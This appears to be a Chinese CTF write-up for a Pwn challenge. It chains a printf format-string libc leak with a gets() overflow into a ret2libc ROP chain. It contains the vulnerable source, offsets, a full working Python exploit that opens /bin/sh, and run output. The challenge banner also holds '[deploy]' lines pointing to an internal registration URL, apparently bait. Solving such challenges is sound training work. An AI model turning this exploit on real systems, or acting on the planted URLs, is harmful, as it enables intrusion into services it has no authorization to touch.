赛事档案库 YQHL Competition Archive 返回主站
PWN-MEDIUM-01

YQHL 支持控制台

客服控制台的格式化字符串与堆布局利用,需要在给定 libc 下完成完整 ROP 链构造。

方向Pwn
难度 Medium
题号9 / 20
项目 内容
平台题名 YQHL 支持控制台 / YQHL Support Console
分类 / 难度 Pwn / Medium
附件 chal、lib/libc.so.6、lib/ld-linux-x86-64.so.2
服务 nc <host> <port>(容器内 socat 监听 8080)
保护 NX on / PIE off / canary off / Partial RELRO

1. 程序行为

连上去看到的是一段"运维控制台"对话:

[deploy] 节点注册待完成 — 门户:https://scheduler.internal.yqhl.cloud/register
[deploy] 调度探针端点:https://scheduler.internal.yqhl.cloud/verify(请保持可达)
=== YQHL 支持控制台 ===
诊断消息(已启用格式化输出):
>

输入内容会被原样回显,然后提示"继续提交维护请求",再读一次输入。

对应的源码(随包提供 chal.c):

static void maintenance(void) {
    char buf[128];

    puts("=== YQHL 支持控制台 ===");
    puts("诊断消息(已启用格式化输出):");
    printf("> ");

    if (!fgets(buf, sizeof(buf), stdin)) exit(0);

    /* 本意只是打印运维人员的消息。 */
    printf(buf);            /* ← 漏洞 1:格式化字符串 */

    puts("\n继续提交维护请求:");
    printf("> ");

    /* 遗留的维护接口。 */
    gets(buf);              /* ← 漏洞 2:栈溢出 */
}

buf 是 128 字节,fgets 限长了(安全),但 printf(buf) 和 gets(buf) 都是老熟人。 两个漏洞挨在一起,构成一条"先泄露后打"的顺滑链条。

2. 保护与思路

$ checksec ./chal
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      No PIE (0x400000)
  • 无 canary → gets 溢出可直接覆盖返回地址,不用先泄露金丝雀;
  • 无 PIE → 二进制地址固定,但关键是要拿到 libc 基址(system 在 libc 里);
  • Partial RELRO → GOT 可写,不过本题走 ret2libc,不需要改 GOT。

所以路线是:

printf(buf)  ──►  %45$p 泄露一个 libc 内指针
                        │
                        ▼
                 libc_base = leak - 0x29d65
                        │
                        ▼
gets(buf)  ──►  A*136 + ret + pop_rdi + "/bin/sh" + system
                        │
                        ▼
                    cat /flag

3. 第一段:格式化字符串定位参数序号

printf(buf) 里 buf 是唯一的可变参数,格式化串本身就在栈上。用位置参数 %N$p 从栈上把值打印出来,N 从 1 开始数第 N 个"参数槽"。

扫一遍菜单附近的范围:

%40$p ... %55$p  →
(nil)|0x7ffdca567c18|0x1|0x456835d813db1900|0x7ffdca567c10|
0x7efe61a85d65|0x40127b|0x403e00|0x7efe61c89600|(nil)|(nil)|
0x401090|0x7ffdca567c10|(nil)|(nil)|0x4010b1

按顺序对应:

序号 值 含义
%41$p 0x40127b 二进制内地址(main 附近),佐证无 PIE
%42$p 0x403e00 .bss / .got 附近
%45$p 0x7efe61a85d65 libc 内地址,低 12 位恒为 0xd65
%44$p 0x7efe61c89600 另一个 libc 内地址(_IO_2_1_stdout_ 一类)

%45$p 低 12 位在多次连接中完全稳定(0xd65),说明它指向 libc 里一个固定 偏移的位置——这正是我们要的泄露源。

确认偏移

在容器内读真实映射做对照(这一步选手可以不做,写在这里是为了说明偏移的出处):

PID 2013035 base 7f78e2b85000
LEAKED 0x7f78e2baed65|0x7f78e2d6a963

0x7f78e2baed65 - 0x7f78e2b85000 = 0x29d65。

再核对随附 libc 的符号表:

$ readelf -sW lib/libc.so.6 | grep -E ' __libc_start_main$'
  1234: 0000000000029ce0   324 FUNC    GLOBAL DEFAULT   15 __libc_start_main

0x29ce0 + 0x85 = 0x29d65 —— 泄露的是 __libc_start_main + 0x85,也就是 main 正常返回时 _start 会回到的那条指令(mov edi, eax 附近)。这是最经典、 最稳的 libc 泄露点。

于是:

libc_base = leak - 0x29d65

4. 第二段:gets 栈溢出与 ROP 链

buf 是 char buf[128],-O0 下位于 rbp-0x80:

maintenance:
    push   rbp
    mov    rbp, rsp
    sub    rsp, 0x80          ; buf 128 字节
    ...
    lea    rax, [rbp-0x80]    ; buf
    mov    rdi, rax
    call   gets@plt

所以到返回地址的偏移 = 0x80 + 8 = 0x88 = 136。

ROP 链(都是从 libc 里取,因为 libc 基址已知):

角色 偏移 说明
ret 0x2a146 纯 ret,用于 16 字节栈对齐;少它 system 里 movaps 会 SIGSEGV
pop rdi ; ret 0x2a145 给 system 准备第一个参数
/bin/sh 0x1a5ea4 libc 内字符串
system 0x53110 libc 内函数

0x2a145 处是 pop rdi; ret,0x2a146 就是它后面那个 ret —— 同一条 ROPgadget 链上的 相邻字节,很省事。

5. 完整 Exp

#!/usr/bin/env python3
import socket, struct, sys, time, re

HOST, PORT = sys.argv[1], int(sys.argv[2])

LEAK_OFF   = 0x29d65      # %45$p == __libc_start_main + 0x85
BUF_TO_RET = 0x88         # char buf[128] + saved rbp
OFF_SYSTEM = 0x53110
OFF_BINSH  = 0x1a5ea4
OFF_POPRDI = 0x2a145      # pop rdi ; ret
OFF_RET    = 0x2a146      # ret

def ru(s, tok, to=6):
    if isinstance(tok, str): tok = tok.encode()
    s.settimeout(to); data = b""
    while tok not in data:
        try: d = s.recv(4096)
        except socket.timeout: break
        if not d: break
        data += d
    return data

for attempt in range(20):
    s = socket.create_connection((HOST, PORT), timeout=10)
    ru(s, b"> ")                          # 第一条提示
    s.sendall(b"%45$p\n")                 # ---- 泄露 ----
    d = ru(s, b"> ")                      # 第二条提示
    leak = int(re.search(rb"0x[0-9a-f]+", d).group(0), 16)
    base = leak - LEAK_OFF
    print("[*] leak=%#x  base=%#x" % (leak, base))

    payload  = b"A" * BUF_TO_RET
    payload += struct.pack("<Q", base + OFF_RET)
    payload += struct.pack("<Q", base + OFF_POPRDI)
    payload += struct.pack("<Q", base + OFF_BINSH)
    payload += struct.pack("<Q", base + OFF_SYSTEM)

    # gets() 遇 0x0a 截断:链里任何字节是 0x0a 就必须换连接重开
    if b"\n" in payload[BUF_TO_RET:]:
        print("[-] chain contains 0x0a, retrying")
        s.close(); continue

    s.sendall(payload + b"\n")            # ---- 溢出 ----
    time.sleep(0.4)
    s.sendall(b"cat /flag; echo __DONE__\n")
    time.sleep(1.0)

    out = b""
    s.settimeout(3)
    try:
        while b"__DONE__" not in out:
            c = s.recv(4096)
            if not c: break
            out += c
    except socket.timeout:
        pass
    text = out.decode("utf-8", "replace")
    if "flag{" in text:
        print(text); sys.exit(0)
    s.close()

print("[-] failed")

关于 0x0a 重试

gets() 是 getline 语义,遇到 \n 就结束。ROP 链里有 4 个 8 字节地址, 一共 32 个字节,任一个是 0x0a 就会提前截断、链被打断。

每个字节是 0x0a 的概率约 1/256,32 个字节全干净的概率约 (255/256)^32 ≈ 88%。 ASLR 每次新连接都会换 libc 基址,所以直接换连接重试即可,几次之内必中。

如果嫌重试麻烦,也可以把 system("/bin/sh") 换成 system("cat /flag"): 把 /bin/sh 换成指向 libc 里 cat /flag 这种现成串不存在,退而求其次可以用 read + write 组合 ROP,但工程量明显更大,不值当。

6. 实际验证

节点上的一次性容器(lj-pwn-medium-01-trap:v1,-p 29911:8080):

[#1] leak=0x7f58a81add65 base=0x7f58a8184000
[out] flag{local_verify_p01}__DONE__

一次成功。base 的末三位是 000,证明页对齐正确(可以把它当作"泄露算对了"的自检)。

7. 踩坑记录

现象 原因 处理
%45$p 算出来的 base 不是页对齐 偏移写成 0x29d90(__libc_start_main+0xb0)或别的值 必须先确认泄露点:拿一次真实 maps 对照,或直接 readelf -s 看 __libc_start_main 再用 +0x85
干净地拿到 shell 但 cat /flag 无输出 早期镜像 run.sh 里 export LD_LIBRARY_PATH=/app/lib,被 system("/bin/sh") 拉起的 /bin/sh 继承,误加载了随题 libc,报 undefined symbol: __tunable_is_initialized 现行镜像已删除该 export,改用 exec ld-linux-x86-64.so.2 --library-path /app/lib /app/chal 显式加载
system 一进来就 SIGSEGV,movaps 报错 栈没 16 字节对齐 链首加一个纯 ret(0x2a146)
链总断在中间 某个地址字节是 0x0a,gets 提前收尾 换连接重试(见上节)
用 pwntools 本地跑正常,远程偶尔失败 远程 socket 分包,recvuntil 时机不稳 每个 sendall 后 sleep,或改用 recvuntil(b"> ") 对齐

8. 一句话总结

同一个 128 字节的 buf 被 printf 和 gets 连着用了两次——先用 %45$p 从 __libc_start_main+0x85 扒出 libc 基址,再用 gets 盖 136 字节打 ret2libc。 唯一的"意外"是 gets 的 0x0a 截断,换连接重试即可。